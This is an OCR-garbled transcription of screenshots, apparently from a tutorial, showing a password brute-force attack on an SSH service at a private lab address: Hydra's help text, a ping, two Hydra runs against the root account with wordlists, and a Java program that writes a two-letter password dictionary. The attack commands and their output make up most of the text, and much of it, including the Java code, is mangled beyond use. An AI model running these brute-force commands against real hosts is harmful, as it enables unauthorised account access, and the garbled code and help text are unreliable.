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Syntax: hydra [[[-1 LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o
FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-5 PORT] [-x MI
:MAX:CHARSET] [-c TIME] [-ISOuvVd46] [service://server[:PORT][/0PT]]

Options:

-R restore '“VluUH aborted/crashed session

restore file (don't wait 10 seconds)
perform an 3_L connect
PORT if the service is on a different default port, define it here
LOGIN or -L FILE 1ogin with LOGIN name, or seve ins om FILE
PASS or -P FILE ry pa ord PASS, or load sever S S frum FILE
¥ MIN:MAX:CHARSET pa"wurd bruteforce generation, t"pw "ox h“ to get help
disable use of symbols in bruteforce, see above
-8 nsr try "n" null p word, "s" login as pass and/or "r
loop around use 0 sswords (effect I implie
S EILEE colon separate 1ugln pass" format, instead of -L/-P uptlunH

FILE list of servers to attack, one entry per line, ':' to specify port

FILE write found login/password pairs to FILE instead of stdout

FORMAT specify the format for the -o FILE: text(default), json, jsonvl

/ -F xit when a login/pass pair is found (-M: -f per host, -F global)

TASKS run TASKS number of connects in parallel per target (default: 16)

TASKS run TASKS connects in parallel overall (for -M, default: 64)

/ -W TIME wait time for a response (32) / between connects per thread (8)

TIME wait time per login attempt over all threads (enforces -t 1)
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WATHBERENREHFE, &RiHBENR192.168.0.110 ping 192.168.0.110

s from 4. icmp se ttl=128
s from : icmp 2 ttl=128
s Trom - 3 icmp ttl=128
s from 1. -l : icmp 4 ttl=128
from .. : icmp ttl=128
S - - a =20
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hydra -1 root -P /usr/share/wordlists/metasploit/unix_passwords.txt -t 11 -s 20000 ssh://192.168.0.110

[DATA] attacking sHS e ’
[STATUS] 121.080 tr /min, 121 tries in 00:81h, 888 to do in ©8:08 11 active
[STATUS] 98.67 tri min, 296 tr in 80:83h, 713 to do in @0:08h, 11 active

[STATUS] 96.14 tries/min, 673 tries in ©8:07h, 336 to do in 00:84h, 11 active
1 of 1 target completed, ® valid passwords found
Hydra (http://www.thc.org/thc-hydra) finished at 2019-04-25 04:49:44
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PassWordzk

public class PassWord
{

public static void main(String[] args) throws Exception

{

BufferedWriter out = new BufferedWriter(new OutputStreamWriter(new
FileOutputStream("D://dic.txt"),"utf-8"));

String[] str =
{"a","b","c","d","e", """, "g","h","1", """, "k","1", "m", "n", "0", "p", "q", "r", "s","t","u", V", "W, X", "y, "z}

for (int i = 0;1 < str.length;++i)

{
for (int j = 0;j < str.length;++]j)
{
String tmp = "";
/1 HEES
out.write(tmp + "\n");
}
}
for (int i = str.length - 1;i > 0;i--)
{
for (int j = str.length - 1;j > 0;j--)
{
String tmp = "";
/1B
out.write(tmp + "\n");
¥
}

[ARETE, a7 R*/
out.close();

System.out.println("HBAEREE! 1 1 ");
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hydra -1 root -P /root/dic.txt -t 6 -s 20000 ssh://192.168.0.110

IWABNLING | RestoreTlle (you have 10 seconds To abort... (use option -1 TO sSKI1p
iting)) from a previous session found, to prevent overwriting, ./hydra.restor
[DATA] max 6 tas per 1 server, overall 6 tasks, 1301 login tries (l:1/p:130
~217 tries per task

[DATA] attacking ssh:// WSS G o

[STATUS] 60.80 tries/min, 60 tries in 88:81h, 1241 to do in 80:21h, 6 active
[STATUS] 54.00 tries/min, 162 tries in 00:83h, 1139 to do in ©0:22h, 6 active
[@ ][ssh] host: 1 ) login: root password: |} 3
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